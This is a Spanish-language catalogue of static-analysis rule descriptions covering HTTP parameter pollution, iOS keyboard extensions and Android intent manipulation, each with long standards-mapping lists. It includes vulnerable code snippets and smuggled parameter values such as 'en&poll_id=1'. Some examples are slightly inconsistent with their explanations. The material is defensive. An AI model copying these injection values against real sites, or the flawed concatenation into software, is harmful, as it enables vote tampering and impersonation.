Link1: <a href="http://www.host.com/vote.aspx?poll_id=4567&lang=en">inglés<a>
Link2: <a href="http://www.host.com/vote.aspx?poll_id=4567&lang=es">español<a>

El programador no ha tenido en cuenta la posibilidad de que un atacante proporcione un lang como en&poll_id=1 y después pueda modificar el poll_id a su antojo.
References
[1] HTTP Parameter Pollution Luca Carettoni, Independent Researcher & Stefano Di Paola, MindedSecurity
[2] HTTP Parameter Pollution Vulnerabilities in Web Applications Marco `embyte’ Balduzzi
[3] Standards Mapping - CIS Azure Kubernetes Service Benchmark 4.0
[4] Standards Mapping - CIS Microsoft Azure Foundations Benchmark partial
[5] Standards Mapping - CIS Amazon Elastic Kubernetes Service Benchmark 2.0
[6] Standards Mapping - CIS Amazon Web Services Foundations Benchmark 3
[7] Standards Mapping - CIS Google Kubernetes Engine Benchmark integrity
[8] Standards Mapping - Common Weakness Enumeration CWE ID 235
[9] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002754
[10] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[11] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[12] Standards Mapping - NIST Special Publication 800-53 Revision 5 SI-10 Information Input Validation
[13] Standards Mapping - OWASP Top 10 2004 A6 Injection Flaws
[14] Standards Mapping - OWASP Top 10 2007 A2 Injection Flaws
[15] Standards Mapping - OWASP Top 10 2010 A1 Injection
[16] Standards Mapping - OWASP Top 10 2013 A1 Injection
[17] Standards Mapping - OWASP Top 10 2017 A1 Injection
[18] Standards Mapping - OWASP Top 10 2021 A03 Injection
[19] Standards Mapping - OWASP API 2023 API1 Broken Object Level Authorization
[20] Standards Mapping - OWASP Application Security Verification Standard 4.0 5.1.1 Input Validation Requirements (L1 L2 L3), 8.1.3 General Data Protection (L2 L3)
[21] Standards Mapping - OWASP Mobile 2014 M1 Weak Server Side Controls
[22] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[23] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CODE-4, MASVS-PLATFORM-2
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.6
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.6
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.6
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.6
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[29] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[30] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[31] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[32] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002560 CAT I
[33] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002560 CAT I
[34] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002560 CAT I
[35] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002560 CAT I
[36] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002560 CAT I
[37] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002560 CAT I
[38] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002560 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002560 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002560 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002560 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002560 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002560 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002560 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[46] Standards Mapping - Web Application Security Consortium Version 2.00 Improper Input Handling (WASC-20)
desc.dataflow.dotnet.http_parameter_pollution
Abstract
La concatenación de entradas sin validar en una dirección URL puede permitir a un usuario malintencionado anular el valor de un parámetro de solicitud. El usuario malintencionado puede anular los valores de los parámetros existentes, inyectar un nuevo parámetro o atacar las variables fuera de un alcance directo.
Explanation
Los ataques HPP (HTTP Parameter Pollution) consisten en inyectar delimitadores de cadenas de consulta codificados en otros parámetros existentes. Si una aplicación web no corrige adecuadamente la entrada del usuario, un usuario malintencionado puede poner en peligro la lógica de la aplicación para llevar a cabo ataques del lado de cliente o del servidor. Mediante el envío de parámetros adicionales a una aplicación web y si estos parámetros tienen el mismo nombre que un parámetro existente, la aplicación web puede reaccionar de una de las siguientes maneras:

Solo puede obtener los datos del primer parámetro
Puede obtener los datos del último parámetro
Puede obtener los datos de todos los parámetros y concatenarlos juntos


Por ejemplo:
- ASP.NET/IIS utiliza todas las apariciones de los parámetros
- Apache Tomcat utiliza solo la primera aparición e ignora las demás.
- mod_perl/Apache convierte el valor en una matriz de valores

Ejemplo 1: según el servidor de aplicaciones y la lógica de la propia aplicación, la siguiente solicitud podría provocar confusión en el sistema de autenticación y permitir que un atacante suplante a otro usuario.
http://www.example.com/login.php?name=alice&name=hacker

Ejemplo 2: el siguiente código utiliza la entrada de una solicitud HTTP para representar dos hipervínculos.

...
String lang = request.getParameter("lang");
GetMethod get = new GetMethod("http://www.example.com");
get.setQueryString("lang=" + lang + "&poll_id=" + poll_id);
get.execute();
...


URL: http://www.example.com?poll_id=4567
Link1: <a href="001">English<a>
Link2: <a href="002">Español<a>

El programador no ha tenido en cuenta la posibilidad de que un atacante proporcione un lang como en&poll_id=1 y después modifique poll_id a su antojo.
References
[1] HTTP Parameter Pollution Luca Carettoni, Independent Researcher & Stefano Di Paola, MindedSecurity
[2] HTTP Parameter Pollution Vulnerabilities in Web Applications Marco `embyte’ Balduzzi
[3] Standards Mapping - CIS Azure Kubernetes Service Benchmark 4.0
[4] Standards Mapping - CIS Microsoft Azure Foundations Benchmark partial
[5] Standards Mapping - CIS Amazon Elastic Kubernetes Service Benchmark 2.0
[6] Standards Mapping - CIS Amazon Web Services Foundations Benchmark 3
[7] Standards Mapping - CIS Google Kubernetes Engine Benchmark integrity
[8] Standards Mapping - Common Weakness Enumeration CWE ID 235
[9] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002754
[10] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[11] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[12] Standards Mapping - NIST Special Publication 800-53 Revision 5 SI-10 Information Input Validation
[13] Standards Mapping - OWASP Top 10 2004 A6 Injection Flaws
[14] Standards Mapping - OWASP Top 10 2007 A2 Injection Flaws
[15] Standards Mapping - OWASP Top 10 2010 A1 Injection
[16] Standards Mapping - OWASP Top 10 2013 A1 Injection
[17] Standards Mapping - OWASP Top 10 2017 A1 Injection
[18] Standards Mapping - OWASP Top 10 2021 A03 Injection
[19] Standards Mapping - OWASP API 2023 API1 Broken Object Level Authorization
[20] Standards Mapping - OWASP Application Security Verification Standard 4.0 5.1.1 Input Validation Requirements (L1 L2 L3), 8.1.3 General Data Protection (L2 L3)
[21] Standards Mapping - OWASP Mobile 2014 M1 Weak Server Side Controls
[22] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[23] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CODE-4, MASVS-PLATFORM-2
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.6
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.6
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.6
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.6
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[29] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[30] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[31] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[32] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002560 CAT I
[33] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002560 CAT I
[34] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002560 CAT I
[35] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002560 CAT I
[36] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002560 CAT I
[37] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002560 CAT I
[38] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002560 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002560 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002560 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002560 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002560 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002560 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002560 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[46] Standards Mapping - Web Application Security Consortium Version 2.00 Improper Input Handling (WASC-20)
desc.dataflow.java.http_parameter_pollution
Abstract
La concatenación de entradas sin validar en una dirección URL puede permitir a un usuario malintencionado anular el valor de un parámetro de solicitud. El usuario malintencionado puede anular los valores de los parámetros existentes, inyectar un nuevo parámetro o atacar las variables fuera de un alcance directo.
Explanation
Los ataques HPP (HTTP Parameter Pollution) consisten en inyectar delimitadores de cadenas de consulta codificados en otros parámetros existentes. Si una aplicación web no corrige adecuadamente la entrada del usuario, un usuario malintencionado puede poner en peligro la lógica de la aplicación para llevar a cabo ataques del lado de cliente o del servidor. Mediante el envío de parámetros adicionales a una aplicación web y si estos parámetros tienen el mismo nombre que un parámetro existente, la aplicación web puede reaccionar de una de las siguientes maneras:

Solo puede obtener los datos del primer parámetro
Puede obtener los datos del último parámetro
Puede obtener los datos de todos los parámetros y concatenarlos juntos


Por ejemplo:
- ASP.NET/IIS utiliza todas las apariciones de los parámetros
- Apache Tomcat utiliza solo la primera aparición e ignora las demás.
- mod_perl/Apache convierte el valor en una matriz de valores

Ejemplo 1: según el servidor de aplicaciones y la lógica de la propia aplicación, la siguiente solicitud podría provocar confusión en el sistema de autenticación y permitir que un atacante suplante a otro usuario.
http://www.server.com/login.php?name=alice&name=hacker

Ejemplo 2: el siguiente código utiliza la entrada de una solicitud HTTP para representar dos hipervínculos.


<%
...
$id = $_GET["id"];
header("Location: http://www.host.com/election.php?poll_id=" . $id);
...
%>


URL: http://www.host.com/election.php?poll_id=4567
Link1: <a href="vote.php?poll_id=4567&candidate=white">Vote al Sr. Pérez<a>
Link2: <a href="vote.php?poll_id=4567&candidate=green">Vote a la Sra. González<a>

El programador no ha pensado en la posibilidad de que un usuario malintencionado proporcione un identificador de voto (poll_id) como "4567&candidato=gonzález" y, entonces, la página resultante contenga los siguientes vínculos insertados y, por tanto, la Sra. González reciba los votos en un servidor de aplicaciones que recopile el primer parámetro.
<a href="vote.php?poll_id=4567&candidate=green&candidate=white">Vote al Sr. Pérez<a>
<a href="vote.php?poll_id=4567&candidate=green&candidate=green">Vote a la Sra. González<a>
References
[1] HTTP Parameter Pollution Luca Carettoni, Independent Researcher & Stefano Di Paola, MindedSecurity
[2] HTTP Parameter Pollution Vulnerabilities in Web Applications Marco `embyte’ Balduzzi
[3] Standards Mapping - CIS Azure Kubernetes Service Benchmark 4.0
[4] Standards Mapping - CIS Microsoft Azure Foundations Benchmark partial
[5] Standards Mapping - CIS Amazon Elastic Kubernetes Service Benchmark 2.0
[6] Standards Mapping - CIS Amazon Web Services Foundations Benchmark 3
[7] Standards Mapping - CIS Google Kubernetes Engine Benchmark integrity
[8] Standards Mapping - Common Weakness Enumeration CWE ID 235
[9] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002754
[10] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[11] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[12] Standards Mapping - NIST Special Publication 800-53 Revision 5 SI-10 Information Input Validation
[13] Standards Mapping - OWASP Top 10 2004 A6 Injection Flaws
[14] Standards Mapping - OWASP Top 10 2007 A2 Injection Flaws
[15] Standards Mapping - OWASP Top 10 2010 A1 Injection
[16] Standards Mapping - OWASP Top 10 2013 A1 Injection
[17] Standards Mapping - OWASP Top 10 2017 A1 Injection
[18] Standards Mapping - OWASP Top 10 2021 A03 Injection
[19] Standards Mapping - OWASP API 2023 API1 Broken Object Level Authorization
[20] Standards Mapping - OWASP Application Security Verification Standard 4.0 5.1.1 Input Validation Requirements (L1 L2 L3), 8.1.3 General Data Protection (L2 L3)
[21] Standards Mapping - OWASP Mobile 2014 M1 Weak Server Side Controls
[22] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[23] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CODE-4, MASVS-PLATFORM-2
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.6
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.6
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.6
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.6
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[29] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[30] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[31] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[32] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002560 CAT I
[33] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002560 CAT I
[34] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002560 CAT I
[35] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002560 CAT I
[36] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002560 CAT I
[37] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002560 CAT I
[38] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002560 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002560 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002560 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002560 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002560 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002560 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002560 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[46] Standards Mapping - Web Application Security Consortium Version 2.00 Improper Input Handling (WASC-20)
desc.dataflow.php.http_parameter_pollution
Abstract
La concatenación de entradas sin validar en una dirección URL puede permitir a un usuario malintencionado anular el valor de un parámetro de solicitud. El usuario malintencionado puede anular los valores de los parámetros existentes, inyectar un nuevo parámetro o atacar las variables fuera de un alcance directo.
Explanation
Los ataques HPP (HTTP Parameter Pollution) consisten en inyectar delimitadores de cadenas de consulta codificados en otros parámetros existentes. Si una aplicación web no corrige adecuadamente la entrada del usuario, un usuario malintencionado puede poner en peligro la lógica de la aplicación para llevar a cabo ataques del lado de cliente o del servidor. Mediante el envío de parámetros adicionales a una aplicación web y si estos parámetros tienen el mismo nombre que un parámetro existente, la aplicación web puede reaccionar de una de las siguientes maneras:

Solo puede obtener los datos del primer parámetro
Puede obtener los datos del último parámetro
Puede obtener los datos de todos los parámetros y concatenarlos juntos


Por ejemplo:
- ASP.NET/IIS utiliza todas las apariciones de los parámetros
- Apache Tomcat utiliza solo la primera aparición e ignora las demás.
- mod_perl/Apache convierte el valor en una matriz de valores

Ejemplo 1: según el servidor de aplicaciones y la lógica de la propia aplicación, la siguiente solicitud podría provocar confusión en el sistema de autenticación y permitir que un usuario malintencionado suplante a otro usuario.
http://www.server.com/login.php?name=alice&name=hacker

Como se muestra aquí, el usuario malintencionado ya ha especificado name=alice, pero ha agregado un name=alice& adicional, y si se utiliza en un servidor que tome la primera repetición, podría suplantar a alice para obtener más información sobre su cuenta.
References
[1] HTTP Parameter Pollution Luca Carettoni, Independent Researcher & Stefano Di Paola, MindedSecurity
[2] HTTP Parameter Pollution Vulnerabilities in Web Applications Marco `embyte’ Balduzzi
[3] Standards Mapping - CIS Azure Kubernetes Service Benchmark 4.0
[4] Standards Mapping - CIS Microsoft Azure Foundations Benchmark partial
[5] Standards Mapping - CIS Amazon Elastic Kubernetes Service Benchmark 2.0
[6] Standards Mapping - CIS Amazon Web Services Foundations Benchmark 3
[7] Standards Mapping - CIS Google Kubernetes Engine Benchmark integrity
[8] Standards Mapping - Common Weakness Enumeration CWE ID 235
[9] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002754
[10] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[11] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[12] Standards Mapping - NIST Special Publication 800-53 Revision 5 SI-10 Information Input Validation
[13] Standards Mapping - OWASP Top 10 2004 A6 Injection Flaws
[14] Standards Mapping - OWASP Top 10 2007 A2 Injection Flaws
[15] Standards Mapping - OWASP Top 10 2010 A1 Injection
[16] Standards Mapping - OWASP Top 10 2013 A1 Injection
[17] Standards Mapping - OWASP Top 10 2017 A1 Injection
[18] Standards Mapping - OWASP Top 10 2021 A03 Injection
[19] Standards Mapping - OWASP API 2023 API1 Broken Object Level Authorization
[20] Standards Mapping - OWASP Application Security Verification Standard 4.0 5.1.1 Input Validation Requirements (L1 L2 L3), 8.1.3 General Data Protection (L2 L3)
[21] Standards Mapping - OWASP Mobile 2014 M1 Weak Server Side Controls
[22] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[23] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CODE-4, MASVS-PLATFORM-2
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.6
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.6
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.6
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.6
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[29] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[30] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[31] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[32] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002560 CAT I
[33] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002560 CAT I
[34] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002560 CAT I
[35] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002560 CAT I
[36] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002560 CAT I
[37] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002560 CAT I
[38] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002560 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002560 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002560 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002560 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002560 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002560 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002560 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[46] Standards Mapping - Web Application Security Consortium Version 2.00 Improper Input Handling (WASC-20)
desc.dataflow.ruby.http_parameter_pollution
Abstract
La aplicación permite la instalación de extensiones de teclado de terceros.
Explanation
Se permite que las extensiones de teclado lean cada tecla que pulsa el usuario. Por lo general, los teclados de terceros se usan para facilitar la introducción de texto o para agregar emojis adicionales y pueden registrar lo que el usuario pulsa o incluso enviarlo a un servidor remoto para su procesamiento. Los teclados malintencionados también pueden distribuirse para actuar como un registrador de pulsaciones de teclas y leer todas las teclas pulsadas por el usuario para robar datos confidenciales como credenciales o números de tarjetas de crédito.
References
[1] David Thiel iOS Application Security: The Definitive Guide for Hackers and Developers No Starch Press
[2] UIApplicationDelegate Apple
[3] Standards Mapping - CIS Azure Kubernetes Service Benchmark 2.0
[4] Standards Mapping - CIS Amazon Elastic Kubernetes Service Benchmark 4.0
[5] Standards Mapping - CIS Amazon Web Services Foundations Benchmark 3
[6] Standards Mapping - CIS Google Kubernetes Engine Benchmark normal
[7] Standards Mapping - Common Weakness Enumeration CWE ID 522, CWE ID 829
[8] Standards Mapping - Common Weakness Enumeration Top 25 2019 [13] CWE ID 287
[9] Standards Mapping - Common Weakness Enumeration Top 25 2020 [14] CWE ID 287, [18] CWE ID 522
[10] Standards Mapping - Common Weakness Enumeration Top 25 2021 [14] CWE ID 287, [21] CWE ID 522
[11] Standards Mapping - Common Weakness Enumeration Top 25 2022 [14] CWE ID 287
[12] Standards Mapping - Common Weakness Enumeration Top 25 2023 [13] CWE ID 287
[13] Standards Mapping - OWASP Top 10 2021 A04 Insecure Design
[14] Standards Mapping - OWASP Application Security Verification Standard 4.0 2.7.1 Out of Band Verifier Requirements (L1 L2 L3), 2.7.2 Out of Band Verifier Requirements (L1 L2 L3), 2.7.3 Out of Band Verifier Requirements (L1 L2 L3), 2.8.4 Single or Multi Factor One Time Verifier Requirements (L2 L3), 2.8.5 Single or Multi Factor One Time Verifier Requirements (L2 L3), 2.10.2 Service Authentication Requirements (L2 L3), 2.10.3 Service Authentication Requirements (L2 L3), 3.7.1 Defenses Against Session Management Exploits (L1 L2 L3), 5.3.9 Output Encoding and Injection Prevention Requirements (L1 L2 L3), 9.2.3 Server Communications Security Requirements (L2 L3), 12.3.6 File Execution Requirements (L2 L3), 14.2.4 Dependency (L2 L3)
[15] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CODE-3
desc.structural.objc.input_interception_keyboard_extensions_allowed
Abstract
La aplicación permite la instalación de extensiones de teclado de terceros.
Explanation
Se permite que las extensiones de teclado lean cada tecla que pulsa el usuario. Por lo general, los teclados de terceros se usan para facilitar la introducción de texto o para agregar emojis adicionales y pueden registrar lo que el usuario pulsa o incluso enviarlo a un servidor remoto para su procesamiento. Los teclados malintencionados también pueden distribuirse para actuar como un registrador de pulsaciones de teclas y leer todas las teclas pulsadas por el usuario para robar datos confidenciales como credenciales o números de tarjetas de crédito.
References
[1] UIApplicationDelegate Apple
[2] David Thiel iOS Application Security: The Definitive Guide for Hackers and Developers No Starch Press
[3] Standards Mapping - CIS Azure Kubernetes Service Benchmark 2.0
[4] Standards Mapping - CIS Amazon Elastic Kubernetes Service Benchmark 4.0
[5] Standards Mapping - CIS Amazon Web Services Foundations Benchmark 3
[6] Standards Mapping - CIS Google Kubernetes Engine Benchmark normal
[7] Standards Mapping - Common Weakness Enumeration CWE ID 522, CWE ID 829
[8] Standards Mapping - Common Weakness Enumeration Top 25 2019 [13] CWE ID 287
[9] Standards Mapping - Common Weakness Enumeration Top 25 2020 [14] CWE ID 287, [18] CWE ID 522
[10] Standards Mapping - Common Weakness Enumeration Top 25 2021 [14] CWE ID 287, [21] CWE ID 522
[11] Standards Mapping - Common Weakness Enumeration Top 25 2022 [14] CWE ID 287
[12] Standards Mapping - Common Weakness Enumeration Top 25 2023 [13] CWE ID 287
[13] Standards Mapping - OWASP Top 10 2021 A04 Insecure Design
[14] Standards Mapping - OWASP Application Security Verification Standard 4.0 2.7.1 Out of Band Verifier Requirements (L1 L2 L3), 2.7.2 Out of Band Verifier Requirements (L1 L2 L3), 2.7.3 Out of Band Verifier Requirements (L1 L2 L3), 2.8.4 Single or Multi Factor One Time Verifier Requirements (L2 L3), 2.8.5 Single or Multi Factor One Time Verifier Requirements (L2 L3), 2.10.2 Service Authentication Requirements (L2 L3), 2.10.3 Service Authentication Requirements (L2 L3), 3.7.1 Defenses Against Session Management Exploits (L1 L2 L3), 5.3.9 Output Encoding and Injection Prevention Requirements (L1 L2 L3), 9.2.3 Server Communications Security Requirements (L2 L3), 12.3.6 File Execution Requirements (L2 L3), 14.2.4 Dependency (L2 L3)
[15] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CODE-3
desc.structural.swift.input_interception_keyboard_extensions_allowed
Abstract
Al permitir que la entrada del usuario controle los parámetros Intent, se podría permitir que un usuario malintencionado controlara el comportamiento de la actividad siguiente.
Explanation
Se produce un problema de manipulación de finalidad cuando se cumplen las dos condiciones siguientes:

1. Un atacante puede especificar la acción, el nombre de clase o el componente de una finalidad de Android.

Por ejemplo, un atacante puede especificar el nombre de clase o el componente para gestionar la finalidad.

2. Al especificar la acción, el nombre de clase o el componente, el usuario malintencionado adquiere una capacidad que de otro modo no estaría permitida.

Por ejemplo, el programa puede otorgar al usuario malintencionado la capacidad de transmitir información confidencial a un software de terceros en el dispositivo.

Ejemplo 1: el siguiente código utiliza un argumento leído de una solicitud HTTP para establecer el nombre de clase de una finalidad.


String arg = request.getParameter("arg");
...
Intent intent = new Intent();
...
intent.setClassName(arg);
ctx.startActivity(intent);
...
References
[1] Intent
[2] Standards Mapping - CIS Azure Kubernetes Service Benchmark 3.0
[3] Standards Mapping - CIS Microsoft Azure Foundations Benchmark complete
[4] Standards Mapping - CIS Amazon Elastic Kubernetes Service Benchmark 4.0
[5] Standards Mapping - CIS Amazon Web Services Foundations Benchmark 1
[6] Standards Mapping - CIS Google Kubernetes Engine Benchmark integrity
[7] Standards Mapping - CIS Kubernetes Benchmark partial
[8] Standards Mapping - Common Weakness Enumeration CWE ID 99
[9] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002754
[10] Standards Mapping - FIPS200 SI
[11] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[12] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[13] Standards Mapping - NIST Special Publication 800-53 Revision 5 SI-10 Information Input Validation
[14] Standards Mapping - OWASP Top 10 2004 A1 Unvalidated Input
[15] Standards Mapping - OWASP Top 10 2007 A4 Insecure Direct Object Reference
[16] Standards Mapping - OWASP Top 10 2010 A4 Insecure Direct Object References
[17] Standards Mapping - OWASP Top 10 2013 A4 Insecure Direct Object References
[18] Standards Mapping - OWASP Top 10 2017 A5 Broken Access Control
[19] Standards Mapping - OWASP Top 10 2021 A01 Broken Access Control
[20] Standards Mapping - OWASP Mobile 2014 M8 Security Decisions Via Untrusted Inputs
[21] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[22] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CODE-4, MASVS-PLATFORM-1
[23] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.1
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.4
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.8
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.8
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.8
